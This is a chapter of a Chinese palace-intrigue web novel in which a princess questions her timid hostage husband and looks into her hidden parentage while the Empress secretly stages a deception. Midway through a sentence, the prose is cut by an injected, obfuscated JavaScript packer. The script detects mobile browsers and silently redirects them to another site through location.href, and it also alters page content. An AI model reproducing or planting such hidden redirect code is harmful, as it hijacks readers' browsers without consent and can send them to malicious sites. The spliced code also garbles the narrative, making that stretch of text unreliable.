晚膳摆上了花梨木桌,邬盼坐在温亦羚身侧。见温亦羚迟迟未动,他忙端过她面前的银耳莲子羹,用银勺一下下轻搅,轻声细语。“公主殿下,不烫口了,你尝尝。”
温亦羚瞥了一眼,随手舀了一勺抿下,算作给了回应。
邬盼见状,又连忙把远处的蟹粉小笼、香酥鸭脯往她碟中夹,生怕漏了哪样她爱吃的,嘴里还絮絮说着,“这小笼皮薄汁多…”
从头到尾,温亦羚不过动了几筷子,邬盼看出来她的敷衍。
待她搁下玉箸,帕子轻拭唇角,正要起身。
“罢了,吃不下。”
邬盼立刻停了手,忙起身想扶她,手刚伸到半空,见温亦羚目光扫来,又慌忙缩了回去,讪讪站在一旁。
温亦羚心烦意乱,邬盼这人唯唯诺诺,甚是缠人,“你慢用,我有事。”说罢,转身便往院外走,懒得看身后邬盼那副怅然无措的模样。
行至僻静处,明鸢快步跟上,低声回禀,“殿下,人在西跨院静室候着,四周都守好了。”
温亦羚满意点头,她推门入静室,里头立着个身着粗布短褐的老人。她抬手屏退明鸢,“门外守着。”
那老人先瞥了眼桌上温亦羚早备下的银两,确认妥当后,才从袖中摸出张折得严实的麻纸,递了过去。
“殿下,老夫亲自交到你手上才放心。”他压着声,“外头不少人盯着,我乔装成这模样,才勉强绕过来。”
温亦羚没多问。
老人见状,也不多留,拱了拱手道,“那我便先走了,殿下万福。”
见温亦羚点头,他便翻窗出去。温亦羚将麻纸平摊在烛火下,按着纸边逐字细看,目光凝在纸间密字上,眉头愈发紧锁。
温亦羚无法接受这个事实,可这老道士是唯一她能找到的证人了。
事情全然朝她意外的方向发展!
她将麻纸凑到烛火上燃成灰烬,扬手扫去余屑,转身出了静室。她回头吩咐下人,“备些驸马爱吃的糕点,送回我院中。”
温亦羚踏着夜色回了璟仁院,邬盼原是干坐着,似是没料到她会回这院里,一双眼睁大,满是惊讶,就那样呆呆地望着门口的人。
待反应过来,忙起身迎上去,有些手足无措,“公主殿下,你回来了?”
温亦羚瞥了眼他,心想着世间怎么会有如此软弱之人。不过这样也好,方便套话,“既成了亲,往后叫夫人吧。”
邬盼不敢置信,张了张嘴半天才憋出两个字,“夫…夫人。”
侍女琴鹤端着食盒进来,摆上些蜜糕、酥酪等糕点,都是邬盼平日喜爱的吃食。
温亦羚笑道,“吃些夜宵吧。”
邬盼望着桌上的点心,又抬眼怯怯看她,小声道,“谢谢夫人。”
二人坐定,温亦羚捏起一块桂花酥,看似随意地问,“你在这京中待了这些年,可有不开心的时候?是这里待着舒坦,还是你故国好?”
邬盼身子一顿,抬眼瞧着她,半晌才讷讷开口,“我六岁就被送来了这里,关于故国早没什么印象了。”
邬盼不知道温亦羚为什么突然转变,他怕自己答得不好惹她不快,又补充道,“不过在这京中,人人待我都好,陛下也从没有苛责过我,宫里的人都不曾为难我,我觉得这样就很好了。”
温亦羚心底笑道,果然是个呆子,辨不出旁人的虚情假意,把嘲讽当敬重。
儿时,他被几个同龄孩子围在假山后推搡,哭红了眼也不敢反抗,还是她提剑冲上去将人赶跑,他却只敢躲在她身后,喏喏道谢。
温亦羚抬眼,又问,“那还记不记得故国里有什么人?你的父母,都是什么样的?”
邬盼轻声道,“记不清了,模模糊糊有些影子。小时候身边的人都换了,慢慢的,就什么都记不住了。”
温亦羚疑惑,身边的人怎会换?以邬盼的身份,身边人应当是长年固定的,是下人们换了,还是官员们换了?
她转了话题,“那你,想回故国吗?”
温亦羚随心一问,邬盼以为她要将自己赶回陇西,急切回答。“不想!如今既已成婚,我便是夫人的人,夫人在哪,我便在哪。”
这话逗得温亦羚忍不住笑,打趣道,“若我随父皇上了战场,你这副弱身子,也敢跟着去?”
邬盼抬眼望她,眼神认真,“夫人若真要去,我便跟着。”
瞧他这副认死理的模样,温亦羚心里后悔,早知道就不跟这人开玩笑了,半点趣味都没有。温亦羚想邬盼也是个可怜人,自幼被亲生父母丢在敌国为质,倒和自己几分相像。
温亦羚转移话题,“明日我去求父皇,给你寻个闲职做做,好歹有个营生,总不能老闲着在家。”
邬盼有些惊讶,这正是他求之不得的。“谢夫人。我定会好好做的,绝不辜负夫人和陛下的心意。”
隔日早朝过后,皇帝便传了口谕,给邬盼安排了崇文馆校书郎的闲职。这职位掌典籍校勘、誊抄整理,不涉朝堂纷争,不用担军政要务,偏居崇文馆一隅,既合他的性子,也因质子身份避了朝臣非议。
宫人传旨到府时,邬盼正候在正厅,闻言忙躬身接旨。温亦羚看到他亮堂堂的眼睛,不由得心生愉悦。
邬盼的声音比往日像是更有底气,“谢陛下恩典。”
待人转身离开,邬盼又朝着温亦羚小声补了句,“更谢夫人。”
温亦羚没接他的谢,“崇文馆皆是文臣,不比府里自在,谨言慎行,少掺和闲事,做好本分就够。”
邬盼急忙点头。
温亦羚又道,“今晚宫中有事,我便不回府里用晚膳了。”
邬盼原本扬到眉梢的笑意僵在脸上,低声应了句,“好,夫人万事小心。”
邬盼不敢露半分委屈,望着温亦羚的方向,目送她转身唤人备车。
马车碾过城郊的土路,扬起细碎的尘沙,与京城平整的青石板路截然不同。温亦羚掀开车帘一角,望着窗外渐次稀疏的屋舍和枯草。
旁人当她是皇家最受宠的公主,皇帝对她甚至超越亲女儿明懿公主温章谊。却不知她的身世本就是猫腻,所谓的亲生父母柳氏,不过是搪塞她的。
可能就连父皇也不知道真相。
今日借着出城散心的由头,往这城郊的柳家小庄来。
车夫放缓车速,低声禀道,“殿下,前面便是柳家小庄了。”
温亦羚下车,院门关着,落了些灰尘,却能看得出来有人常打理。明鸢抬手扣门,轻叩三声,门内传来细碎的脚步声。
门开,一个鬓角斑白的老嬷嬷探出头,见了温亦羚,脸色骤变,忙要屈膝行礼,被温亦羚抬手按住。
“不必多礼,进去说。”温亦羚的目光快速扫过整个院子。
老嬷嬷身子微颤,侧过身子,引他们入内,关上门时,手有些颤抖。温亦羚踏入院中。这地方,藏了她的身世,今日,该挖出来些东西了。
不见院内动静,温亦羚开门见山,“柳氏夫妇,人在哪?”
老嬷嬷身子颤
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17211470|197418||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
抖,眼圈红透,眼泪一滴一滴砸在衣襟上,哽咽着,“没了…没了啊…好好的人命…前些天夜里,不知闯来多少蒙面人,把院子围得密不透风,活活杀害了他们两个啊!”
她声音更加抖得厉害,“他们堵了我的嘴,拿刀子抵着我脖子,逼我对外说二人是染病自然没的,还逼着我守在这院里半步不能走,不然…不然就杀我灭口啊!”
老嬷嬷哭得身子发软,“我真的什么都不知道,那些人手黑得很…”
“公主殿下,老奴是您的奶娘啊!当年您尚在襁褓,一伙歹人突然闯进来,给了些钱就硬生生把您从家里抢了去,老奴这些年,日日都惦着您。”
听到这里,温亦羚皱了皱眉。十几年未见,这老嬷嬷怎么可能还认得出她,况且她身上没有一样公主的标识,她在说谎!
刚摸到点线索就被掐断,只怕是有人早算好,故意断她线索。她拂开老嬷嬷的手,“那些人什么打扮?”
老嬷嬷不答,只是一味的拽着温亦羚的袖口。见老嬷嬷又要伸手,明鸢当即上前一步,拦在二人中间,冷眼看着老嬷嬷,“进屋说。”
老嬷嬷连忙应声,抹着眼泪上前推开屋门,躬身引着众人入内。待跨进门槛,温亦羚便抬了抬下巴,对身后的人沉声道,“搜。”
两个侍卫立刻四散开来,里里外外翻查得仔细,桌椅柜橱被一一打开,隐蔽角落反复查验。老嬷嬷站在一旁,手足无措地卷着帕子,却半句不敢多问。
一行人里里外外翻查遍了,线索一点没寻着,明鸢上前躬身禀,“殿下,无异常。”
温亦羚道,“回府。”
众人收了手,拥着她往外走。老嬷嬷急步追上来,又想伸手拉她的衣摆,声音带着哭腔,“殿下,您可一定要…”
话没说完,温亦羚已侧身避开,脚步未停,只淡淡撂下一句,“我尽力。”
她头也不回地跨出院门,登车离去。老嬷嬷望着车辙扬尘远去,半晌才抹了把泪。
温亦羚一行人刚离了柳家小庄不到一个时辰,宫里头便有人快步进了华宁宫,躬身禀道,“皇后娘娘,明昭公主已去过柳家庄了。”
“去了就好。”
来人垂首躬身,“娘娘高见。早知明昭公主成婚后自在,不受宫内规制拘着,提前布了这出戏,让老嬷嬷演得周全,才没露半分破绽。”
皇后搁下茶盏,冷脸道,“盯紧些公主府,本宫只怕温亦羚未必吃这套。”
来人立刻躬身领命,“奴才遵命。明昭公主府那边也已布置妥当,明暗都安排了人手,府内一举一动,都能及时传回宫中。”
那人退下后,皇后心底翻涌。这养在身边十几年的女儿,到头来究竟是福,还是祸?可如今瞧着她这般追查,心思深密,只怕有一天,难以控制。
明昭公主府。
奔波一下午的温亦羚,回府后径入静室,明鸢轻步上前奉茶,低声问,“殿下,今日柳家庄的事,那老嬷嬷的行为瞧着有些蹊跷,有哪里不对?”
“那老嬷嬷的话,不可信。”
“那咱们下一步,该往哪走?”
温亦羚语气沉稳,“不急,先按兵不动,看看宫里有什么变动。”
静室里没多作停留,温亦羚梳洗罢换了身软和的月白寝衣,回了璟仁院。推开门时,见邬盼正端坐在案前,就着昏黄的烛火执笔写字。
她连日奔波,心头疲惫。径直走到床边,往后一倒,整个人松垮下来,随口问道,“今日头一回去崇文馆,倒还顺当?”